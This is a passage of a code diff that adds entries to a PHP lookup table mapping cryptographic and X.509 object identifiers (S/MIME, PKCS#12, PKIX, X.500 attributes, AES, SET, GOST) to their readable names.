'id-smime-aa-ets-archiveTimeStamp', + '1.2.840.113549.1.9.16.2.28' => 'id-smime-aa-signatureType', + '1.2.840.113549.1.9.16.2.29' => 'id-smime-aa-dvcs-dvc', + '1.2.840.113549.1.9.16.3.1' => 'id-smime-alg-ESDHwith3DES', + '1.2.840.113549.1.9.16.3.2' => 'id-smime-alg-ESDHwithRC2', + '1.2.840.113549.1.9.16.3.3' => 'id-smime-alg-3DESwrap', + '1.2.840.113549.1.9.16.3.4' => 'id-smime-alg-RC2wrap', + '1.2.840.113549.1.9.16.3.5' => 'id-smime-alg-ESDH', + '1.2.840.113549.1.9.16.3.6' => 'id-smime-alg-CMS3DESwrap', + '1.2.840.113549.1.9.16.3.7' => 'id-smime-alg-CMSRC2wrap', + '1.2.840.113549.1.9.16.3.9' => 'id-alg-PWRI-KEK', + '1.2.840.113549.1.9.16.4.1' => 'id-smime-cd-ldap', + '1.2.840.113549.1.9.16.5.1' => 'id-smime-spq-ets-sqt-uri', + '1.2.840.113549.1.9.16.5.2' => 'id-smime-spq-ets-sqt-unotice', + '1.2.840.113549.1.9.16.6.1' => 'id-smime-cti-ets-proofOfOrigin', + '1.2.840.113549.1.9.16.6.2' => 'id-smime-cti-ets-proofOfReceipt', + '1.2.840.113549.1.9.16.6.3' => 'id-smime-cti-ets-proofOfDelivery', + '1.2.840.113549.1.9.16.6.4' => 'id-smime-cti-ets-proofOfSender', + '1.2.840.113549.1.9.16.6.5' => 'id-smime-cti-ets-proofOfApproval', + '1.2.840.113549.1.9.16.6.6' => 'id-smime-cti-ets-proofOfCreation', + '1.2.840.113549.1.9.20' => 'friendlyName', + '1.2.840.113549.1.9.21' => 'localKeyID', + '1.3.6.1.4.1.311.17.1' => 'Microsoft CSP Name', + '1.3.6.1.4.1.311.17.2' => 'Microsoft Local Key set', + '1.2.840.113549.1.9.22' => 'certTypes', + '1.2.840.113549.1.9.22.1' => 'x509Certificate', + '1.2.840.113549.1.9.22.2' => 'sdsiCertificate', + + '1.2.840.113549.1.9.23' => 'crlTypes', + '1.2.840.113549.1.9.23.1' => 'x509Crl', + '1.2.840.113549.1.12' => 'pkcs12', + '1.2.840.113549.1.12.1' => 'pkcs12-pbeids', + '1.2.840.113549.1.12.1.1' => 'pbeWithSHA1And128BitRC4', + '1.2.840.113549.1.12.1.2' => 'pbeWithSHA1And40BitRC4', + '1.2.840.113549.1.12.1.3' => 'pbeWithSHA1And3-KeyTripleDES-CBC', + '1.2.840.113549.1.12.1.4' => 'pbeWithSHA1And2-KeyTripleDES-CBC', + '1.2.840.113549.1.12.1.5' => 'pbeWithSHA1And128BitRC2-CBC', + '1.2.840.113549.1.12.1.6' => 'pbeWithSHA1And40BitRC2-CBC', + '1.2.840.113549.1.12.10' => 'pkcs12-Version1', + '1.2.840.113549.1.12.10.1' => 'pkcs12-BagIds', + '1.2.840.113549.1.12.10.1.1' => 'keyBag', + '1.2.840.113549.1.12.10.1.2' => 'pkcs8ShroudedKeyBag', + '1.2.840.113549.1.12.10.1.3' => 'certBag', + '1.2.840.113549.1.12.10.1.4' => 'crlBag', + '1.2.840.113549.1.12.10.1.5' => 'secretBag', + '1.2.840.113549.1.12.10.1.6' => 'safeContentsBag', + '1.2.840.113549.2.2' => 'md2', + '1.2.840.113549.2.4' => 'md4', + '1.2.840.113549.2.5' => 'md5', + '1.2.840.113549.2.6' => 'hmacWithMD5', + '1.2.840.113549.2.7' => 'hmacWithSHA1', + '1.2.840.113549.2.8' => 'hmacWithSHA224', + '1.2.840.113549.2.9' => 'hmacWithSHA256', + '1.2.840.113549.2.10' => 'hmacWithSHA384', + '1.2.840.113549.2.11' => 'hmacWithSHA512', + '1.2.840.113549.3.2' => 'rc2-cbc', + '1.2.840.113549.3.4' => 'rc4', + '1.2.840.113549.3.7' => 'des-ede3-cbc', + '1.2.840.113549.3.8' => 'rc5-cbc', + '1.3.6.1.4.1.311.2.1.14' => 'Microsoft Extension Request', + '1.3.6.1.4.1.311.2.1.21' => 'Microsoft Individual Code Signing', + '1.3.6.1.4.1.311.2.1.22' => 'Microsoft Commercial Code Signing', + '1.3.6.1.4.1.311.10.3.1' => 'Microsoft Trust List Signing', + '1.3.6.1.4.1.311.10.3.3' => 'Microsoft Server Gated Crypto', + '1.3.6.1.4.1.311.10.3.4' => 'Microsoft Encrypted File System', + '1.3.6.1.4.1.311.20.2.2' => 'Microsoft Smartcardlogin', + '1.3.6.1.4.1.311.20.2.3' => 'Microsoft Universal Principal Name', + '1.3.6.1.4.1.188.7.1.1.2' => 'idea-cbc', + '1.3.6.1.4.1.3029.1.2' => 'bf-cbc', + '1.3.6.1.5.5.7' => 'PKIX', + '1.3.6.1.5.5.7.0' => 'id-pkix-mod', + '1.3.6.1.5.5.7.1' => 'id-pe', + '1.3.6.1.5.5.7.2' => 'id-qt', + '1.3.6.1.5.5.7.3' => 'id-kp', + '1.3.6.1.5.5.7.4' => 'id-it', + '1.3.6.1.5.5.7.5' => 'id-pkip', + '1.3.6.1.5.5.7.6' => 'id-alg', + '1.3.6.1.5.5.7.7' => 'id-cmc', + '1.3.6.1.5.5.7.8' => 'id-on', + '1.3.6.1.5.5.7.9' => 'id-pda', + '1.3.6.1.5.5.7.10' => 'id-aca', + '1.3.6.1.5.5.7.11' => 'id-qcs', + '1.3.6.1.5.5.7.12' => 'id-cct', + '1.3.6.1.5.5.7.21' => 'id-ppl', + '1.3.6.1.5.5.7.48' => 'id-ad', + '1.3.6.1.5.5.7.0.1' => 'id-pkix1-explicit-88', + '1.3.6.1.5.5.7.0.2' => 'id-pkix1-implicit-88', + '1.3.6.1.5.5.7.0.3' => 'id-pkix1-explicit-93', + '1.3.6.1.5.5.7.0.4' => 'id-pkix1-implicit-93', + '1.3.6.1.5.5.7.0.5' => 'id-mod-crmf', + '1.3.6.1.5.5.7.0.6' => 'id-mod-cmc', + '1.3.6.1.5.5.7.0.7' => 'id-mod-kea-profile-88', + '1.3.6.1.5.5.7.0.8' => 'id-mod-kea-profile-93', + '1.3.6.1.5.5.7.0.9' => 'id-mod-cmp', + '1.3.6.1.5.5.7.0.10' => 'id-mod-qualified-cert-88', + '1.3.6.1.5.5.7.0.11' => 'id-mod-qualified-cert-93', + '1.3.6.1.5.5.7.0.12' => 'id-mod-attribute-cert', + '1.3.6.1.5.5.7.0.13' => 'id-mod-timestamp-protocol', + '1.3.6.1.5.5.7.0.14' => 'id-mod-ocsp', + '1.3.6.1.5.5.7.0.15' => 'id-mod-dvcs', + '1.3.6.1.5.5.7.0.16' => 'id-mod-cmp2000', + '1.3.6.1.5.5.7.1.1' => 'Authority Information Access', + '1.3.6.1.5.5.7.1.2' => 'Biometric Info', + '1.3.6.1.5.5.7.1.3' => 'qcStatements', + '1.3.6.1.5.5.7.1.4' => 'ac-auditEntity', + '1.3.6.1.5.5.7.1.5' => 'ac-targeting', + '1.3.6.1.5.5.7.1.6' => 'aaControls', + '1.3.6.1.5.5.7.1.7' => 'sbgp-ipAddrBlock', + '1.3.6.1.5.5.7.1.8' => 'sbgp-autonomousSysNum', + '1.3.6.1.5.5.7.1.9' => 'sbgp-routerIdentifier', + '1.3.6.1.5.5.7.1.10' => 'ac-proxying', + '1.3.6.1.5.5.7.1.11' => 'Subject Information Access', + '1.3.6.1.5.5.7.1.14' => 'Proxy Certificate Information', + '1.3.6.1.5.5.7.2.1' => 'Policy Qualifier CPS', + '1.3.6.1.5.5.7.2.2' => 'Policy Qualifier User Notice', + '1.3.6.1.5.5.7.2.3' => 'textNotice', + '1.3.6.1.5.5.7.3.1' => 'TLS Web Server Authentication', + '1.3.6.1.5.5.7.3.2' => 'TLS Web Client Authentication', + '1.3.6.1.5.5.7.3.3' => 'Code Signing', + '1.3.6.1.5.5.7.3.4' => 'E-mail Protection', + '1.3.6.1.5.5.7.3.5' => 'IPSec End System', + '1.3.6.1.5.5.7.3.6' => 'IPSec Tunnel', + '1.3.6.1.5.5.7.3.7' => 'IPSec User', + '1.3.6.1.5.5.7.3.8' => 'Time Stamping', + '1.3.6.1.5.5.7.3.9' => 'OCSP Signing', + '1.3.6.1.5.5.7.3.10' => 'dvcs', + '1.3.6.1.5.5.7.4.1' => 'id-it-caProtEncCert', + '1.3.6.1.5.5.7.4.2' => 'id-it-signKeyPairTypes', + '1.3.6.1.5.5.7.4.3' => 'id-it-encKeyPairTypes', + '1.3.6.1.5.5.7.4.4' => 'id-it-preferredSymmAlg', + '1.3.6.1.5.5.7.4.5' => 'id-it-caKeyUpdateInfo', + '1.3.6.1.5.5.7.4.6' => 'id-it-currentCRL', + '1.3.6.1.5.5.7.4.7' => 'id-it-unsupportedOIDs', + '1.3.6.1.5.5.7.4.8' => 'id-it-subscriptionRequest', + '1.3.6.1.5.5.7.4.9' => 'id-it-subscriptionResponse', + '1.3.6.1.5.5.7.4.10' => 'id-it-keyPairParamReq', + '1.3.6.1.5.5.7.4.11' => 'id-it-keyPairParamRep', + '1.3.6.1.5.5.7.4.12' => 'id-it-revPassphrase', + '1.3.6.1.5.5.7.4.13' => 'id-it-implicitConfirm', + '1.3.6.1.5.5.7.4.14' => 'id-it-confirmWaitTime', + '1.3.6.1.5.5.7.4.15' => 'id-it-origPKIMessage', + '1.3.6.1.5.5.7.4.16' => 'id-it-suppLangTags', + '1.3.6.1.5.5.7.5.1' => 'id-regCtrl', + '1.3.6.1.5.5.7.5.2' => 'id-regInfo', + '1.3.6.1.5.5.7.5.1.1' => 'id-regCtrl-regToken', + '1.3.6.1.5.5.7.5.1.2' => 'id-regCtrl-authenticator', + '1.3.6.1.5.5.7.5.1.3' => 'id-regCtrl-pkiPublicationInfo', + '1.3.6.1.5.5.7.5.1.4' => 'id-regCtrl-pkiArchiveOptions', + '1.3.6.1.5.5.7.5.1.5' => 'id-regCtrl-oldCertID', + '1.3.6.1.5.5.7.5.1.6' => 'id-regCtrl-protocolEncrKey', + '1.3.6.1.5.5.7.5.2.1' => 'id-regInfo-utf8Pairs', + '1.3.6.1.5.5.7.5.2.2' => 'id-regInfo-certReq', + '1.3.6.1.5.5.7.6.1' => 'id-alg-des40', + '1.3.6.1.5.5.7.6.2' => 'id-alg-noSignature', + '1.3.6.1.5.5.7.6.3' => 'id-alg-dh-sig-hmac-sha1', + '1.3.6.1.5.5.7.6.4' => 'id-alg-dh-pop', + '1.3.6.1.5.5.7.7.1' => 'id-cmc-statusInfo', + '1.3.6.1.5.5.7.7.2' => 'id-cmc-identification', + '1.3.6.1.5.5.7.7.3' => 'id-cmc-identityProof', + '1.3.6.1.5.5.7.7.4' => 'id-cmc-dataReturn', + '1.3.6.1.5.5.7.7.5' => 'id-cmc-transactionId', + '1.3.6.1.5.5.7.7.6' => 'id-cmc-senderNonce', + '1.3.6.1.5.5.7.7.7' => 'id-cmc-recipientNonce', + '1.3.6.1.5.5.7.7.8' => 'id-cmc-addExtensions', + '1.3.6.1.5.5.7.7.9' => 'id-cmc-encryptedPOP', + '1.3.6.1.5.5.7.7.10' => 'id-cmc-decryptedPOP', + '1.3.6.1.5.5.7.7.11' => 'id-cmc-lraPOPWitness', + '1.3.6.1.5.5.7.7.15' => 'id-cmc-getCert', + '1.3.6.1.5.5.7.7.16' => 'id-cmc-getCRL', + '1.3.6.1.5.5.7.7.17' => 'id-cmc-revokeRequest', + '1.3.6.1.5.5.7.7.18' => 'id-cmc-regInfo', + '1.3.6.1.5.5.7.7.19' => 'id-cmc-responseInfo', + '1.3.6.1.5.5.7.7.21' => 'id-cmc-queryPending', + '1.3.6.1.5.5.7.7.22' => 'id-cmc-popLinkRandom', + '1.3.6.1.5.5.7.7.23' => 'id-cmc-popLinkWitness', + '1.3.6.1.5.5.7.7.24' => 'id-cmc-confirmCertAcceptance', + '1.3.6.1.5.5.7.8.1' => 'id-on-personalData', + '1.3.6.1.5.5.7.8.3' => 'Permanent Identifier', + '1.3.6.1.5.5.7.9.1' => 'id-pda-dateOfBirth', + '1.3.6.1.5.5.7.9.2' => 'id-pda-placeOfBirth', + '1.3.6.1.5.5.7.9.3' => 'id-pda-gender', + '1.3.6.1.5.5.7.9.4' => 'id-pda-countryOfCitizenship', + '1.3.6.1.5.5.7.9.5' => 'id-pda-countryOfResidence', + '1.3.6.1.5.5.7.10.1' => 'id-aca-authenticationInfo', + '1.3.6.1.5.5.7.10.2' => 'id-aca-accessIdentity', + '1.3.6.1.5.5.7.10.3' => 'id-aca-chargingIdentity', + '1.3.6.1.5.5.7.10.4' => 'id-aca-group', + '1.3.6.1.5.5.7.10.5' => 'id-aca-role', + '1.3.6.1.5.5.7.10.6' => 'id-aca-encAttrs', + '1.3.6.1.5.5.7.11.1' => 'id-qcs-pkixQCSyntax-v1', + '1.3.6.1.5.5.7.12.1' => 'id-cct-crs', + '1.3.6.1.5.5.7.12.2' => 'id-cct-PKIData', + '1.3.6.1.5.5.7.12.3' => 'id-cct-PKIResponse', + '1.3.6.1.5.5.7.21.0' => 'Any language', + '1.3.6.1.5.5.7.21.1' => 'Inherit all', + '1.3.6.1.5.5.7.21.2' => 'Independent', + '1.3.6.1.5.5.7.48.1' => 'OCSP', + '1.3.6.1.5.5.7.48.2' => 'CA Issuers', + '1.3.6.1.5.5.7.48.3' => 'AD Time Stamping', + '1.3.6.1.5.5.7.48.4' => 'ad dvcs', + '1.3.6.1.5.5.7.48.5' => 'CA Repository', + '1.3.6.1.5.5.7.48.1.1' => 'Basic OCSP Response', + '1.3.6.1.5.5.7.48.1.2' => 'OCSP Nonce', + '1.3.6.1.5.5.7.48.1.3' => 'OCSP CRL ID', + '1.3.6.1.5.5.7.48.1.4' => 'Acceptable OCSP Responses', + '1.3.6.1.5.5.7.48.1.5' => 'OCSP No Check', + '1.3.6.1.5.5.7.48.1.6' => 'OCSP Archive Cutoff', + '1.3.6.1.5.5.7.48.1.7' => 'OCSP Service Locator', + '1.3.6.1.5.5.7.48.1.8' => 'Extended OCSP Status', + '1.3.6.1.5.5.7.48.1.9' => 'id-pkix-OCSP_valid', + '1.3.6.1.5.5.7.48.1.10' => 'id-pkix-OCSP_path', + '1.3.6.1.5.5.7.48.1.11' => 'Trust Root', + '1.3.14.3.2' => 'algorithm', + '1.3.14.3.2.3' => 'md5WithRSA', + '1.3.14.3.2.6' => 'des-ecb', + '1.3.14.3.2.7' => 'des-cbc', + '1.3.14.3.2.8' => 'des-ofb', + '1.3.14.3.2.9' => 'des-cfb', + '1.3.14.3.2.11' => 'rsaSignature', + '1.3.14.3.2.12' => 'dsaEncryption-old', + '1.3.14.3.2.13' => 'dsaWithSHA', + '1.3.14.3.2.15' => 'shaWithRSAEncryption', + '1.3.14.3.2.17' => 'des-ede', + '1.3.14.3.2.18' => 'sha', + '1.3.14.3.2.26' => 'sha1', + '1.3.14.3.2.27' => 'dsaWithSHA1-old', + '1.3.14.3.2.29' => 'sha1WithRSA', + '1.3.36.3.2.1' => 'ripemd160', + '1.3.36.3.3.1.2' => 'ripemd160WithRSA', + '1.3.101.1.4.1' => 'Strong Extranet ID', + '2.5' => 'directory services (X.500)', + '2.5.4' => 'X509', + '2.5.4.3' => 'commonName', + '2.5.4.4' => 'surname', + '2.5.4.5' => 'serialNumber', + '2.5.4.6' => 'countryName', + '2.5.4.7' => 'localityName', + '2.5.4.8' => 'stateOrProvinceName', + '2.5.4.9' => 'streetAddress', + '2.5.4.10' => 'organizationName', + '2.5.4.11' => 'organizationalUnitName', + '2.5.4.12' => 'title', + '2.5.4.13' => 'description', + '2.5.4.14' => 'searchGuide', + '2.5.4.15' => 'businessCategory', + '2.5.4.16' => 'postalAddress', + '2.5.4.17' => 'postalCode', + '2.5.4.18' => 'postOfficeBox', + '2.5.4.19' => 'physicalDeliveryOfficeName', + '2.5.4.20' => 'telephoneNumber', + '2.5.4.21' => 'telexNumber', + '2.5.4.22' => 'teletexTerminalIdentifier', + '2.5.4.23' => 'facsimileTelephoneNumber', + '2.5.4.24' => 'x121Address', + '2.5.4.25' => 'internationaliSDNNumber', + '2.5.4.26' => 'registeredAddress', + '2.5.4.27' => 'destinationIndicator', + '2.5.4.28' => 'preferredDeliveryMethod', + '2.5.4.29' => 'presentationAddress', + '2.5.4.30' => 'supportedApplicationContext', + '2.5.4.31' => 'member', + '2.5.4.32' => 'owner', + '2.5.4.33' => 'roleOccupant', + '2.5.4.34' => 'seeAlso', + '2.5.4.35' => 'userPassword', + '2.5.4.36' => 'userCertificate', + '2.5.4.37' => 'cACertificate', + '2.5.4.38' => 'authorityRevocationList', + '2.5.4.39' => 'certificateRevocationList', + '2.5.4.40' => 'crossCertificatePair', + '2.5.4.41' => 'name', + '2.5.4.42' => 'givenName', + '2.5.4.43' => 'initials', + '2.5.4.44' => 'generationQualifier', + '2.5.4.45' => 'x500UniqueIdentifier', + '2.5.4.46' => 'dnQualifier', + '2.5.4.47' => 'enhancedSearchGuide', + '2.5.4.48' => 'protocolInformation', + '2.5.4.49' => 'distinguishedName', + '2.5.4.50' => 'uniqueMember', + '2.5.4.51' => 'houseIdentifier', + '2.5.4.52' => 'supportedAlgorithms', + '2.5.4.53' => 'deltaRevocationList', + '2.5.4.54' => 'dmdName', + '2.5.4.65' => 'pseudonym', + '2.5.4.72' => 'role', + '2.5.8' => 'directory services - algorithms', + '2.5.8.1.1' => 'rsa', + '2.5.8.3.100' => 'mdc2WithRSA', + '2.5.8.3.101' => 'mdc2', + '2.5.29' => 'id-ce', + '2.5.29.9' => 'X509v3 Subject Directory Attributes', + '2.5.29.14' => 'X509v3 Subject Key Identifier', + '2.5.29.15' => 'X509v3 Key Usage', + '2.5.29.16' => 'X509v3 Private Key Usage Period', + '2.5.29.17' => 'X509v3 Subject Alternative Name', + '2.5.29.18' => 'X509v3 Issuer Alternative Name', + '2.5.29.19' => 'X509v3 Basic Constraints', + '2.5.29.20' => 'X509v3 CRL Number', + '2.5.29.21' => 'X509v3 CRL Reason Code', + '2.5.29.24' => 'Invalidity Date', + '2.5.29.27' => 'X509v3 Delta CRL Indicator', + '2.5.29.28' => 'X509v3 Issuing Distribution Point', + '2.5.29.29' => 'X509v3 Certificate Issuer', + '2.5.29.30' => 'X509v3 Name Constraints', + '2.5.29.31' => 'X509v3 CRL Distribution Points', + '2.5.29.32' => 'X509v3 Certificate Policies', + '2.5.29.32.0' => 'X509v3 Any Policy', + '2.5.29.33' => 'X509v3 Policy Mappings', + '2.5.29.35' => 'X509v3 Authority Key Identifier', + '2.5.29.36' => 'X509v3 Policy Constraints', + '2.5.29.37' => 'X509v3 Extended Key Usage', + '2.5.29.46' => 'X509v3 Freshest CRL', + '2.5.29.54' => 'X509v3 Inhibit Any Policy', + '2.5.29.55' => 'X509v3 AC Targeting', + '2.5.29.56' => 'X509v3 No Revocation Available', + '2.5.29.37.0' => 'Any Extended Key Usage', + '2.16.840.1.113730' => 'Netscape Communications Corp.', + '2.16.840.1.113730.1' => 'Netscape Certificate Extension', + '2.16.840.1.113730.2' => 'Netscape Data Type', + '2.16.840.1.113730.1.1' => 'Netscape Cert Type', + '2.16.840.1.113730.1.2' => 'Netscape Base Url', + '2.16.840.1.113730.1.3' => 'Netscape Revocation Url', + '2.16.840.1.113730.1.4' => 'Netscape CA Revocation Url', + '2.16.840.1.113730.1.7' => 'Netscape Renewal Url', + '2.16.840.1.113730.1.8' => 'Netscape CA Policy Url', + '2.16.840.1.113730.1.12' => 'Netscape SSL Server Name', + '2.16.840.1.113730.1.13' => 'Netscape Comment', + '2.16.840.1.113730.2.5' => 'Netscape Certificate Sequence', + '2.16.840.1.113730.4.1' => 'Netscape Server Gated Crypto', + '1.3.6' => 'dod', + '1.3.6.1' => 'iana', + '1.3.6.1.1' => 'Directory', + '1.3.6.1.2' => 'Management', + '1.3.6.1.3' => 'Experimental', + '1.3.6.1.4' => 'Private', + '1.3.6.1.5' => 'Security', + '1.3.6.1.6' => 'SNMPv2', + '1.3.6.1.7' => 'Mail', + '1.3.6.1.4.1' => 'Enterprises', + '1.3.6.1.4.1.1466.344' => 'dcObject', + '1.2.840.113549.1.9.16.3.8' => 'zlib compression', + '2.16.840.1.101.3' => 'csor', + '2.16.840.1.101.3.4' => 'nistAlgorithms', + '2.16.840.1.101.3.4.1' => 'aes', + '2.16.840.1.101.3.4.1.1' => 'aes-128-ecb', + '2.16.840.1.101.3.4.1.2' => 'aes-128-cbc', + '2.16.840.1.101.3.4.1.3' => 'aes-128-ofb', + '2.16.840.1.101.3.4.1.4' => 'aes-128-cfb', + '2.16.840.1.101.3.4.1.5' => 'id-aes128-wrap', + '2.16.840.1.101.3.4.1.6' => 'aes-128-gcm', + '2.16.840.1.101.3.4.1.7' => 'aes-128-ccm', + '2.16.840.1.101.3.4.1.8' => 'id-aes128-wrap-pad', + '2.16.840.1.101.3.4.1.21' => 'aes-192-ecb', + '2.16.840.1.101.3.4.1.22' => 'aes-192-cbc', + '2.16.840.1.101.3.4.1.23' => 'aes-192-ofb', + '2.16.840.1.101.3.4.1.24' => 'aes-192-cfb', + '2.16.840.1.101.3.4.1.25' => 'id-aes192-wrap', + '2.16.840.1.101.3.4.1.26' => 'aes-192-gcm', + '2.16.840.1.101.3.4.1.27' => 'aes-192-ccm', + '2.16.840.1.101.3.4.1.28' => 'id-aes192-wrap-pad', + '2.16.840.1.101.3.4.1.41' => 'aes-256-ecb', + '2.16.840.1.101.3.4.1.42' => 'aes-256-cbc', + '2.16.840.1.101.3.4.1.43' => 'aes-256-ofb', + '2.16.840.1.101.3.4.1.44' => 'aes-256-cfb', + '2.16.840.1.101.3.4.1.45' => 'id-aes256-wrap', + '2.16.840.1.101.3.4.1.46' => 'aes-256-gcm', + '2.16.840.1.101.3.4.1.47' => 'aes-256-ccm', + '2.16.840.1.101.3.4.1.48' => 'id-aes256-wrap-pad', + '2.16.840.1.101.3.4.2' => 'nist_hashalgs', + '2.16.840.1.101.3.4.2.1' => 'sha256', + '2.16.840.1.101.3.4.2.2' => 'sha384', + '2.16.840.1.101.3.4.2.3' => 'sha512', + '2.16.840.1.101.3.4.2.4' => 'sha224', + '2.16.840.1.101.3.4.3' => 'dsa_with_sha2', + '2.16.840.1.101.3.4.3.1' => 'dsa_with_SHA224', + '2.16.840.1.101.3.4.3.2' => 'dsa_with_SHA256', + '2.5.29.23' => 'Hold Instruction Code', + '0.9' => 'data', + '0.9.2342' => 'pss', + '0.9.2342.19200300' => 'ucl', + '0.9.2342.19200300.100' => 'pilot', + '0.9.2342.19200300.100.1' => 'pilotAttributeType', + '0.9.2342.19200300.100.3' => 'pilotAttributeSyntax', + '0.9.2342.19200300.100.4' => 'pilotObjectClass', + '0.9.2342.19200300.100.10' => 'pilotGroups', + '2.23.42' => 'Secure Electronic Transactions', + '2.23.42.0' => 'content types', + '2.23.42.1' => 'message extensions', + '2.23.42.3' => 'set-attr', + '2.23.42.5' => 'set-policy', + '2.23.42.7' => 'certificate extensions', + '2.23.42.8' => 'set-brand', + '2.23.42.0.0' => 'setct-PANData', + '2.23.42.0.1' => 'setct-PANToken', + '2.23.42.0.2' => 'setct-PANOnly', + '2.23.42.0.3' => 'setct-OIData', + '2.23.42.0.4' => 'setct-PI', + '2.23.42.0.5' => 'setct-PIData', + '2.23.42.0.6' => 'setct-PIDataUnsigned', + '2.23.42.0.7' => 'setct-HODInput', + '2.23.42.0.8' => 'setct-AuthResBaggage', + '2.23.42.0.9' => 'setct-AuthRevReqBaggage', + '2.23.42.0.10' => 'setct-AuthRevResBaggage', + '2.23.42.0.11' => 'setct-CapTokenSeq', + '2.23.42.0.12' => 'setct-PInitResData', + '2.23.42.0.13' => 'setct-PI-TBS', + '2.23.42.0.14' => 'setct-PResData', + '2.23.42.0.16' => 'setct-AuthReqTBS', + '2.23.42.0.17' => 'setct-AuthResTBS', + '2.23.42.0.18' => 'setct-AuthResTBSX', + '2.23.42.0.19' => 'setct-AuthTokenTBS', + '2.23.42.0.20' => 'setct-CapTokenData', + '2.23.42.0.21' => 'setct-CapTokenTBS', + '2.23.42.0.22' => 'setct-AcqCardCodeMsg', + '2.23.42.0.23' => 'setct-AuthRevReqTBS', + '2.23.42.0.24' => 'setct-AuthRevResData', + '2.23.42.0.25' => 'setct-AuthRevResTBS', + '2.23.42.0.26' => 'setct-CapReqTBS', + '2.23.42.0.27' => 'setct-CapReqTBSX', + '2.23.42.0.28' => 'setct-CapResData', + '2.23.42.0.29' => 'setct-CapRevReqTBS', + '2.23.42.0.30' => 'setct-CapRevReqTBSX', + '2.23.42.0.31' => 'setct-CapRevResData', + '2.23.42.0.32' => 'setct-CredReqTBS', + '2.23.42.0.33' => 'setct-CredReqTBSX', + '2.23.42.0.34' => 'setct-CredResData', + '2.23.42.0.35' => 'setct-CredRevReqTBS', + '2.23.42.0.36' => 'setct-CredRevReqTBSX', + '2.23.42.0.37' => 'setct-CredRevResData', + '2.23.42.0.38' => 'setct-PCertReqData', + '2.23.42.0.39' => 'setct-PCertResTBS', + '2.23.42.0.40' => 'setct-BatchAdminReqData', + '2.23.42.0.41' => 'setct-BatchAdminResData', + '2.23.42.0.42' => 'setct-CardCInitResTBS', + '2.23.42.0.43' => 'setct-MeAqCInitResTBS', + '2.23.42.0.44' => 'setct-RegFormResTBS', + '2.23.42.0.45' => 'setct-CertReqData', + '2.23.42.0.46' => 'setct-CertReqTBS', + '2.23.42.0.47' => 'setct-CertResData', + '2.23.42.0.48' => 'setct-CertInqReqTBS', + '2.23.42.0.49' => 'setct-ErrorTBS', + '2.23.42.0.50' => 'setct-PIDualSignedTBE', + '2.23.42.0.51' => 'setct-PIUnsignedTBE', + '2.23.42.0.52' => 'setct-AuthReqTBE', + '2.23.42.0.53' => 'setct-AuthResTBE', + '2.23.42.0.54' => 'setct-AuthResTBEX', + '2.23.42.0.55' => 'setct-AuthTokenTBE', + '2.23.42.0.56' => 'setct-CapTokenTBE', + '2.23.42.0.57' => 'setct-CapTokenTBEX', + '2.23.42.0.58' => 'setct-AcqCardCodeMsgTBE', + '2.23.42.0.59' => 'setct-AuthRevReqTBE', + '2.23.42.0.60' => 'setct-AuthRevResTBE', + '2.23.42.0.61' => 'setct-AuthRevResTBEB', + '2.23.42.0.62' => 'setct-CapReqTBE', + '2.23.42.0.63' => 'setct-CapReqTBEX', + '2.23.42.0.64' => 'setct-CapResTBE', + '2.23.42.0.65' => 'setct-CapRevReqTBE', + '2.23.42.0.66' => 'setct-CapRevReqTBEX', + '2.23.42.0.67' => 'setct-CapRevResTBE', + '2.23.42.0.68' => 'setct-CredReqTBE', + '2.23.42.0.69' => 'setct-CredReqTBEX', + '2.23.42.0.70' => 'setct-CredResTBE', + '2.23.42.0.71' => 'setct-CredRevReqTBE', + '2.23.42.0.72' => 'setct-CredRevReqTBEX', + '2.23.42.0.73' => 'setct-CredRevResTBE', + '2.23.42.0.74' => 'setct-BatchAdminReqTBE', + '2.23.42.0.75' => 'setct-BatchAdminResTBE', + '2.23.42.0.76' => 'setct-RegFormReqTBE', + '2.23.42.0.77' => 'setct-CertReqTBE', + '2.23.42.0.78' => 'setct-CertReqTBEX', + '2.23.42.0.79' => 'setct-CertResTBE', + '2.23.42.0.80' => 'setct-CRLNotificationTBS', + '2.23.42.0.81' => 'setct-CRLNotificationResTBS', + '2.23.42.0.82' => 'setct-BCIDistributionTBS', + '2.23.42.1.1' => 'generic cryptogram', + '2.23.42.1.3' => 'merchant initiated auth', + '2.23.42.1.4' => 'setext-pinSecure', + '2.23.42.1.5' => 'setext-pinAny', + '2.23.42.1.7' => 'setext-track2', + '2.23.42.1.8' => 'additional verification', + '2.23.42.5.0' => 'set-policy-root', + '2.23.42.7.0' => 'setCext-hashedRoot', + '2.23.42.7.1' => 'setCext-certType', + '2.23.42.7.2' => 'setCext-merchData', + '2.23.42.7.3' => 'setCext-cCertRequired', + '2.23.42.7.4' => 'setCext-tunneling', + '2.23.42.7.5' => 'setCext-setExt', + '2.23.42.7.6' => 'setCext-setQualf', + '2.23.42.7.7' => 'setCext-PGWYcapabilities', + '2.23.42.7.8' => 'setCext-TokenIdentifier', + '2.23.42.7.9' => 'setCext-Track2Data', + '2.23.42.7.10' => 'setCext-TokenType', + '2.23.42.7.11' => 'setCext-IssuerCapabilities', + '2.23.42.3.0' => 'setAttr-Cert', + '2.23.42.3.1' => 'payment gateway capabilities', + '2.23.42.3.2' => 'setAttr-TokenType', + '2.23.42.3.3' => 'issuer capabilities', + '2.23.42.3.0.0' => 'set-rootKeyThumb', + '2.23.42.3.0.1' => 'set-addPolicy', + '2.23.42.3.2.1' => 'setAttr-Token-EMV', + '2.23.42.3.2.2' => 'setAttr-Token-B0Prime', + '2.23.42.3.3.3' => 'setAttr-IssCap-CVM', + '2.23.42.3.3.4' => 'setAttr-IssCap-T2', + '2.23.42.3.3.5' => 'setAttr-IssCap-Sig', + '2.23.42.3.3.3.1' => 'generate cryptogram', + '2.23.42.3.3.4.1' => 'encrypted track 2', + '2.23.42.3.3.4.2' => 'cleartext track 2', + '2.23.42.3.3.5.1' => 'ICC or token signature', + '2.23.42.3.3.5.2' => 'secure device signature', + '2.23.42.8.1' => 'set-brand-IATA-ATA', + '2.23.42.8.30' => 'set-brand-Diners', + '2.23.42.8.34' => 'set-brand-AmericanExpress', + '2.23.42.8.35' => 'set-brand-JCB', + '2.23.42.8.4' => 'set-brand-Visa', + '2.23.42.8.5' => 'set-brand-MasterCard', + '2.23.42.8.6011' => 'set-brand-Novus', + '1.2.840.113549.3.10' => 'des-cdmf', + '1.2.840.113549.1.1.6' => 'rsaOAEPEncryptionSET', + '1.0.10118.3.0.55' => 'whirlpool', + '1.2.643.2.2' => 'cryptopro', + '1.2.643.2.9' => 'cryptocom', + '1.2.643.2.2.3' => 'GOST R 34.11-94 with GOST R 34.10-2001', + '1.2.643.2.2.4' => 'GOST R 34.11-94 with GOST R 34.10-94', + 